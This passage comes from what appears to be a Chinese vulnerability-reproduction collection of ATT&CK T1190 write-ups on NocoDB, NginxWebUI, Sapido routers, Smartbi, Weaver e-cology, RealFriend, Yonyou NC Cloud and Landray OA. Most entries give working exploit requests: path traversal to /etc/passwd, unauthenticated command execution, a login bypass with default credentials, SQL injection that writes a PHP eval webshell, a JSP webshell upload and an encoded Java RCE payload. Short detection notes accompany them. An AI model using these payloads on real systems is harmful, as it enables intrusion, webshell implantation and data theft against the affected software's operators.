http://localhost:3030/static/..%5c..%5c..%5c..%5cetc/passwd`` 查看/etc/passwd的内容 测试过程来自网络,未经实际测试: ![CVE-2023-34843](CVE-2023-34843.png) ## 测试留痕 无,未经实际测试,无留痕文件及PCAP流量包信息。 ## 检测规则/思路 研判分析要点: - 结合流量上下文,URL路径,请求方法 - 读取文件和文件信息 ================================================ FILE: Web/2023/CVE-2023-35843/T1190-CVE-2023-35843.md ================================================ # T1190-CVE-2023-35843 NocoDB任意文件读取 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 NocoDB在0.106.0(或 0.109.1)存在路径遍历漏洞,允许未经身份验证的攻击者通过操纵download路由的路径参数来访问服务器上的任意文件。此漏洞可能允许攻击者访问服务器上的敏感文件和数据,包括配置文件、源代码和其他敏感信息。 影响版本: NocoDB <= 0.106.1 空间测绘语句:title="NocoDB" 参考链接: - - - ## 检测日志 HTTP.log ## 测试复现 paylaod ``` /download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` 测试过程来自网络,未经实际测试: ![CVE-2023-35843](1.png) ## 测试留痕 无,未经实际测试,无留痕文件及PCAP流量包信息。 ## 检测规则/思路 研判分析要点: - 结合流量上下文,URL路径,请求方法 - 读取文件和文件信息 ================================================ FILE: Web/2023/other/NginxWebUI run Cmd远程命令执行.md ================================================ # NginxWebUI run Cmd 远程命令执行漏洞--- ## 漏洞描述--- NginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。--- NginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。--- ## 影响范围--- nginxWebUI <= 3.5.0--- 网络空间测绘语法:app="nginxWebUI"--- ## 漏洞利用--- ### 命令执行一--- ``` GET /AdminPage/conf/runCmd?cmd=calc%26%26nginx HTTP/1. Host: 127.0.0.1:8080 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: corsSec-Fetch-Dest: empty Referer: http://127.0.0.1:8080/adminPage/remote Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close--- ``` - -- ### 命令执行二--- ``` POST /AdminPage/remote/cmdOver HTTP/1.1 Host: 127.0.0.1:8080 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8080/adminPage/remote Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 51--- remoteId=local&cmd=start calc%26%26nginx&interval=1--- ``` - -- ### 命令执行三--- ``` POST /Api/nginx/runNginxCmd HTTP/1.1 Host: 127.0.0.1:8080 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: corsSec-Fetch-Dest: empty Referer: http://127.0.0.1:8080/adminPage/remote Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 19--- cmd=calc%26%26nginx--- ``` - -- ### 命令执行四--- ``` GET /AdminPage/conf/reload?nginxExe=calc%20%7C HTTP/1.1 Host: 127.0.0.1:8080 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: corsSec-Fetch-Dest: empty Referer: http://127.0.0.1:8080/adminPage/remote Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close--- ``` - -- ### 命令执行五--- ``` POST /AdminPage/conf/check HTTP/1.1 Host: 127.0.0.1:8080 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8080/adminPage/remote Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 91--- nginxExe=calc%20%7C&json={"nginxContent":"","subContent":"[]","subName":"[]"}&nginxPath=/1/--- ``` - -- ## 研判分析--- 关注以下请求方法和路径--- - GET、'/AdminPage/conf/runCmd?cmd=' - POST、'/AdminPage/remote/cmdOver' - POST、'/Api/nginx/runNginxCmd' - GET、'/AdminPage/conf/reload?nginxExe=' - POST、'/AdminPage/conf/check' - POST、'/AdminPage/conf/saveCmd' - GET、'/AdminPage/conf/checkBase' - POST、'/AdminPage/conf/saveCmd' - GET、'/Api/nginx/check'--- 当请求方法为POST时,需要结合body信息进行分析。body中常见的信息中如:"cmd"或者"nginxExe"等。--- ## 参考链接--- nginxWebUI runCmd 未授权远程代码执行--- ================================================ FILE: Web/2023/other/Sapido路由器远程命令执行.md ================================================ # Sapido路由器远程命令执行漏洞 ## 漏洞描述 Sapido路由器存在远程命令执行漏洞,攻击者可通过未授权进入命令执行页面,进而可以root权限执行任意命令。 ## 影响范围 ``` BR270n-v2.1.03 BRC76n-v2.1.03 GR297-v2.1.3 RB1732-v2.0.43 ``` 网络空间测绘语法:app="Sapido-路由器" ## 漏洞复现 POC ``` http://xxx.xxx.xxx.xxx/syscmd.asp http://xxx.xxx.xxx.xxx/syscmd.htm ``` 1. 访问Sapido路由器web登录页面 2. 访问POC进入命令执行页面 ‘http://xxx.xxx.xxx.xxx:1080/syscmd.htm’ 3. 执行ifconfig、cat /etc/passwd等命令 ![3.1](https://img-blog.csdnimg.cn/20210419144149248.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MTk3NzA0,size_16,color_FFFFFF,t_70) ## 研判分析 - 请求方法、请求路径、请求内容 - 执行命令的返回结果 ## 参考链接 Sapido路由器命令执行漏洞 ================================================ FILE: Web/2023/other/Smartbi商业智能软件绕过登录.md ================================================ # Smartbi商业智能软件绕过登录漏洞 ## 漏洞描述 Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。 Smartbi在安装时会内置几个用户,在使用特定接口时,可绕过用户身份认证机制获取其身份凭证,随后可使用获取的身份凭证调用后台接口,可能导致敏感信息泄露和代码执行。 ## 影响范围 V7 <= Smartbi <= V10 网络空间测绘语法:app="SMARTBI" ## 漏洞复现 验证漏洞是否存在: 如果返回信息中包含尚未登录或者会话已超时,则证明存在该漏洞 POC ``` POST /smartbi/vision/RMIServlet HTTP/1.1 Host: your-ip Content-Type: application/x-www-form-urlencoded - ---------------------------------------------- className=UserService&methodName=loginFromDB¶ms=["system","0a"] ``` 请求体中传入的三个参数 className:必须指定UserService类名 methodName:该类调用的方法loginFromDB params:其中的第一个参数是内置的三个用户名(public、service、system)可随机构造,第二个参数是三个账号默认的密文密码(默认值为0a) ## 研判分析 总体上来说该漏洞研判起来较为简单。 - 请求方法和请求路径,'POST'、'/smartbi/vision/RMIServlet' - 请求内容,className,public,service,system,0a - 响应状态码200,响应内容"result:true" ## 参考链接 Smartbi内置用户登陆绕过漏洞复现 ================================================ FILE: Web/2023/other/泛微e-cology前台任意用户登录.md ================================================ # 泛微e-cology前台任意用户登录漏洞 ## 漏洞描述 泛微新一代移动办公平台e-cology8.0不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA E-Cology v8.0平台ofsLogin.jsp处存在任意用户登录漏洞,攻击者通过漏洞可以登录网站后台。 ## 影响范围 网络空间测绘:app="泛微-协同商务系统" ## 漏洞复现 直接使用POC登录 ``` http://x.x.x.x/mobile/plugin/1/ofsLogin.jsp?gopage=/wui/index.html&loginTokenFromThird=866fb3887a60239fc112354ee7ffc168&receiver=1&syscode=1×tamp ``` ## 研判分析 关注请求路径'mobile/plugin/1/ofsLogin.jsp?syscode='及响应状态码信息。 ## 参考链接 泛微ecology9 ofsLogin.jsp信息泄露与前台任意用户登录漏洞分析 漏洞复现:泛微e-cology ofsLogin.jsp任意用户登录漏洞 Weaver_ofslogin_vul 泛微e-cology9 changeUserInfo信息泄漏及ofsLogin任意用户登录漏洞分析 ================================================ FILE: Web/2023/other/瑞友天翼应用虚拟化系统存在远程代码执行.md ================================================ # 瑞友天翼应用虚拟化系统存在远程代码执行 ## 漏洞介绍 瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权,基于服务器计算架构的应用虚拟化平台。它将用户各种应用软件集中部署在瑞友天翼服务器(群)上,客户端通过WEB即可快速安全的访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等,从而为用户打造集中、便捷、安全、高效的虚拟化支撑平台。 瑞友天翼应用虚拟化系统存在远程代码执行漏洞,未经身份认证的远程攻击者可以利用该漏洞在目标系统上执行任意代码(该漏洞是通过SQL注入写入后门文件进行代码执行)。 ## 影响版本 5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2.1 ## 漏洞利用 Poc ``` python import requests import sys - --------- url = sys.argv[1] payload="/AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C1.php%22+--+-&cmd=UserLogin" repose = requests.get(url=url+payload) if repose.status_code ==200: a = url + '1.php' b = requests.get(url=a) if b.status_code == 200: print('[+] 漏洞存在,验证地址: {}1.php '.format(url)) ``` 通过sql注入写入php文件,内容是phpinfo()(只对默认安装路径起作用,请根据环境自行修改payload中的路径)。 利用burp进行测试: ``` yml GET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C2.php%22+--+-&cmd=UserLogin HTTP/1.1 Host: 192.168.189.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: CookieLanguageName=ZH-CN; CookieAuthType=0 Upgrade-Insecure-Requests: 1 ``` 然后访问`http://192.168.189.129/2.php`即可 尝试写入php一句话马子,需要对特殊符号进行url编码(经测试,漏洞环境过滤了单引号,需采用双引号或者使用hex编码bypass) ``` yml GET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3c%3fphp+eval%28%24%5fPOST%5b%22cmd%22%5d%29%3b%3f%3e%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C5.php%22+--+-&cmd=UserLogin HTTP/1.1 Host: 192.168.189.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: CookieLanguageName=ZH-CN; CookieAuthType=0 Upgrade-Insecure-Requests: 1 ``` ## 研判分析 - 请求方法:GET - 请求路径包含:'/AgentBoard.XGI?user'、'into+outfile' - 请求路径中部分编码数据需要解码后再进行分析 - 响应状态码:200 - 可根据解码内容中的shell文件,排查web服务目录下是否存在恶意文件 ## 参考链接 瑞友天翼应用虚拟化系统RCE漏洞复现+利用 ================================================ FILE: Web/2023/other/用友NC Cloud存在前台远程命令执行.md ================================================ # 用友NC Cloud存在前台远程命令执行漏洞 ## 漏洞描述 用友NC及NC Cloud系统存在任意文件上传漏洞,攻击者可通过uapjs(jsinvoke)应用构造恶意请求非法上传后门程序,此漏洞可以给NC服务器预埋后门,从而可以随意操作服务器。 ## 影响范围 - NC63、NC633、NC65 - NC Cloud1903、NC Cloud1909 - NC Cloud2005、NC Cloud2105、NC Cloud2111 - YonBIP 高级版 2207 网络空间测绘语法:app="用友-NC-Cloud" ## 漏洞复现 poc:上传823780482.jsp的webshell ``` POST /uapjs/jsinvoke/?action=invoke HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Accept: */* Connection: Keep-Alive Content-Length: 253 Content-Type: application/x-www-form-urlencoded - ---------------------------------------------- {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/823780482.jsp"]} ``` poc:执行ipconfig命令 ``` POST /823780482.jsp?error=bsh.Interpreter HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Connection: close Host: 127.0.0.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept-Language: zh-CN,zh;q=0.9 Cookie: cookiets=1681785470496; JSESSIONID=33989F450B1EA57D4D3ED07A343770FF.server If-None-Match: W/"1571-1589211696000" If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 98 - ---------------------------------------------- cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ipconfig").getInputStream()) ``` ## 分析研判 分析主要从请求方法、请求URL路径、请求内容及返回内容方面进行。 - POST请求方法 - 请求路径"/uapjs/jsinvoke?action=invoke" - 请求内容"getRuntime().exec"、"saveXStreamConfig" - 结合响应状态码200、内容body信息 ## 参考链接 用友NC Cloud存在前台远程命令执行漏洞 附POC软件 用友NC uapjs RCE漏洞 ================================================ FILE: Web/2023/other/蓝凌oa远程代码执行.md ================================================ # 蓝凌oa远程代码执行漏洞 ## 漏洞描述 蓝凌OA sysSearchMain.do文件存在任意文件写入漏洞,攻击者获取后台权 限后可通过漏洞写入任意文件,也可以通过custom.jsp文件未授权写入恶意文件。 ## 影响范围 未知 ## 漏洞复现 ### 蓝凌OA custom.jsp任意文件读取 ``` POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Length: 42 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip var={"body":{"file":"file:///etc/passwd"}} ``` ![custom.jsp任意文件读取](https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/images/202202090128987.png?raw=true) ### 蓝凌OA sysSearchMain.do远程命令执行 ``` POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: User-Agent: Go-http-client/1.1 Content-Length: 17574 Cmd: dir Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=\u0020\u0020\u0020\u0020\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0066\u0061\u006c\u0073\u0065\u003b\u0054\u0068\u0072\u0065\u0061\u0064\u0047\u0072\u006f\u0075\u0070\u0020\u0067\u0072\u006f\u0075\u0070\u0020\u003d\u0020\u0054\u0068\u0072\u0065\u0061\u0064\u002e\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0054\u0068\u0072\u0065\u0061\u0064\u0028\u0029\u002e\u0067\u0065\u0074\u0054\u0068\u0072\u0065\u0061\u0064\u0047\u0072\u006f\u0075\u0070\u0028\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0072\u0065\u0066\u006c\u0065\u0063\u0074\u002e\u0046\u0069\u0065\u006c\u0064\u0020\u0066\u0020\u003d\u0020\u0067\u0072\u006f\u0075\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u0054\u0068\u0072\u0065\u0061\u0064\u005b\u005d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u0020\u003d\u0020\u0028\u0054\u0068\u0072\u0065\u0061\u0064\u005b\u005d\u0029\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0067\u0072\u006f\u0075\u0070\u0029\u003b\u0066\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u0069\u0020\u003d\u0020\u0030\u003b\u0020\u0069\u0020\u003c\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u003b\u0020\u0069\u002b\u002b\u0029\u0020\u007b\u0020\u0074\u0072\u0079\u0020\u007b\u0020\u0054\u0068\u0072\u0065\u0061\u0064\u0020\u0074\u0020\u003d\u0020\u0074\u0068\u0072\u0065\u0061\u0064\u0073\u005b\u0069\u005d\u003b\u0069\u0066\u0020\u0028\u0074\u0020\u003d\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u004e\u0061\u006d\u0065\u0028\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0065\u0078\u0065\u0063\u0022\u0029\u0020\u007c\u007c\u0020\u0021\u0073\u0074\u0072\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0068\u0074\u0074\u0070\u0022\u0029\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0066\u0020\u003d\u0020\u0074\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0061\u0072\u0067\u0065\u0074\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0074\u0029\u003b\u0069\u0066\u0020\u0028\u0021\u0028\u006f\u0062\u006a\u0020\u0069\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u006f\u0066\u0020\u0052\u0075\u006e\u006e\u0061\u0062\u006c\u0065\u0029\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0074\u0068\u0069\u0073\u0024\u0030\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0068\u0061\u006e\u0064\u006c\u0065\u0072\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0053\u0075\u0070\u0065\u0072\u0063\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u0046\u0069\u0065\u006c\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0067\u006c\u006f\u0062\u0061\u006c\u0022\u0029\u003b\u0020\u007d\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0020\u003d\u0020\u0028\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u0074\u0029\u0020\u0028\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u0029\u003b\u0066\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u006a\u0020\u003d\u0020\u0030\u003b\u0020\u006a\u0020\u003c\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0073\u0069\u007a\u0065\u0028\u0029\u003b\u0020\u002b\u002b\u006a\u0029\u0020\u007b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0067\u0065\u0074\u0028\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0072\u0065\u0071\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0072\u0065\u0071\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0072\u0065\u0073\u0070\u0020\u003d\u0020\u0072\u0065\u0071\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u0030\u005d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0071\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u0030\u005d\u0029\u003b\u0073\u0074\u0072\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0020\u0072\u0065\u0071\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\